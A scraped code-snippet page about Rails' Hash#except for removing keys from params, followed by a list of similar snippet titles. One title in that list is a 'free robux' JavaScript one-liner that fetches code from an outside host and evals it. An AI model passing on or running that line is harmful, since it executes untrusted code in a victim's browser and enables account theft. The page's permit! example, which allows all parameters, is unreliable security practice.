Params except rails

Rails excep

hash = { a: true, b: false, c: nil }
hash.except(:c)     # => { a: true, b: false }
hash.except(:a, :b) # => { c: nil }
hash                # => { a: true, b: false, c: nil }

params_to_remove_array = [ :b, :c ]
params.except(*params_to_remove_array) # => { a: true }

Source: apidock.com

Params except rails

params.require(:shoes).except!(:shoes_id).permit!

Similar codes

0 vote171 views1 answer
Ruby instance variabnl get
Ruby
2 votes112 views1 answer
Ruby tr
Ruby
0 vote168 views10 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 5000
Ruby
0 vote176 views1 answer
Crashed" method=GET path="/" rails
Ruby
0 vote164 views1 answer
Map each with index
Ruby
0 vote177 views1 answer
Check type in ruby
Ruby
4 votes217 views1 answer
Button in rails
Ruby
0 vote197 views1 answer
Rails convert image to base64
Ruby
0 vote155 views1 answer
Generate dates using period rails
Ruby
0 vote176 views1 answer
Or even multiple scope parameters. For example, making sure that a teacher can only be on the schedule once per semester for a particular class.
Ruby